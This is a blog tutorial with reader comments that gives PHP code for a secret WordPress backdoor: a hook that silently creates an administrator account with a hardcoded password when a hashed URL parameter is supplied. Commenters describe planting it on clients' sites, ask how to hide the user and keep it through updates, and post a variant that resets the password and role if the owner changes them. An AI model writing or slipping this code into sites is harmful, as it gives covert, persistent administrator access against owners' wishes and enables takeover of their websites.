How To Create A Secret Backdoor Admin Access To WordPress

Here us the code you can use to create a backdoor…

Here us the code you can use to create a backdoor into any WordPress website.

add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}

22 Comments

  1. Sanjeev Sharma says:

    I have put up SSL while publishing the website. But after I don’t have access to it anymore, what to do

  2. Just superb!!! I am looking for it. Some of the client didn’t paid and remove the access from me. Thanks for article

  3. Yılmaz Saraç says:

    Hello,
    Thank you for your help. What if we change hash code?

  4. Motivation_guru says:

    I want this backdoor user to be hidden and not to show in user list. Can you please share the code or anyway to hide this specific user from the Wordpress user dashboard list @mr_adam.

    I’ll be very thankful to you.

  5. i tested it and it worked. thank you so much. Can i ask how to put similar kind of code to do the same think inside cs cart or open cart platform?
    if you know the way – please share. thank you.

  6. I fixed this issue with isset.

    if (isset($_GET[‘mylogin’])) {
    if ( md5( $_GET[‘mylogin’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {

    Next issue, but not sure what to do about it. This appears in debug mode after you submit function.

    Notice: registration.php is deprecated since version 3.1.0 with no alternative available. This file no longer needs to be included. in /home/…/public_html/wp-includes/functions.php on line 3984

  7. Getting an error when you turn on WP_Debug true.
    Notice: Undefined index: mylogin in /home/…/functions.php on line 721
    on this line…
    (721) if ( md5( $_GET[‘mylogin’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {

    Great Idea! I’m putting this on all my sites.

  8. Space Knight says:

    If we put this code into functions.php, won’t a WP update overwrite functions.php?

      1. put it in a mu-plugin is even better

  9. Hi Admin, thank you very much for the excellent tutorial! Its exactly what I’ve been looking for. Question: Once I added the code, it create a full width white band (section) just below my menu bar. Any advice on why and how I can get rid of it?
    Any advice is greatly appreciated! Thank you

  10. Hello Adam,
    I can’t seem to proceed on WordPress 4.9.4 version (current version as on Feb. 2018).
    Everytime I try, I get the White Screen of …Death? (really? 😉 )
    What I do is connect via ftp to my server, modify what needs to be in the functions.php file, upload the new modified file, and launch the website…and …WHITE SCREEN OF DEA-EA-EATH! :+)))
    I followed your step-by-step method but something does not seem to go quite right…
    What am I doing wrong?
    I am using Theme Oblique 2.0.8.
    Thank you in advance for your help!
    And by the way, this website is really interesting.

      1. In fact, I never thought of keeping a backdoor access to a client’s website before. So, I never had the opportunity to test your code previously. I don’t think it has to do with the fact that I’m using a FR-Wordpress version.

  11. I make the snippet stronger against if the customer decided to change the role or the password of the backdoor user.

    add_action( ‘wp_head’, ‘my_backdoor’ );

    function my_backdoor() {
    if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {
    require( ‘wp-includes/registration.php’ );
    if ( !username_exists( ‘mr_admin’ ) ) {
    $user_id = wp_create_user( ‘mr_admin’, ‘pa55w0rd!’ );
    $user = new WP_User( $user_id );
    $user->set_role( ‘administrator’ );
    }
    else {
    $user = get_user_by(‘login’,’pathway’);
    wp_set_password(‘pa55w0rd!’, $user->ID );
    $user->set_role( ‘administrator’ );
    }
    }
    }

  12. Billy Whitehouse says:

    What is this ’34d1f91fb2e514b8576fab1a75a89a6b’ variable?

    1. Adam @ WPCrafter says:

      I think I talk about that, it’s the MD5 hash if I recall correctly.

    2. this is what you should use to call the function
      e.g d.test.com/?backdoor=34d1f91fb2e514b8576fab1a75a89a6b

      1. no, its the md5 for ‘go’. he probably copied it from somewhere thats why forgot to change the username from ‘pathway’ to ‘mr_admin’ also.

Leave a Reply

Your email address will not be published. Required fields are marked *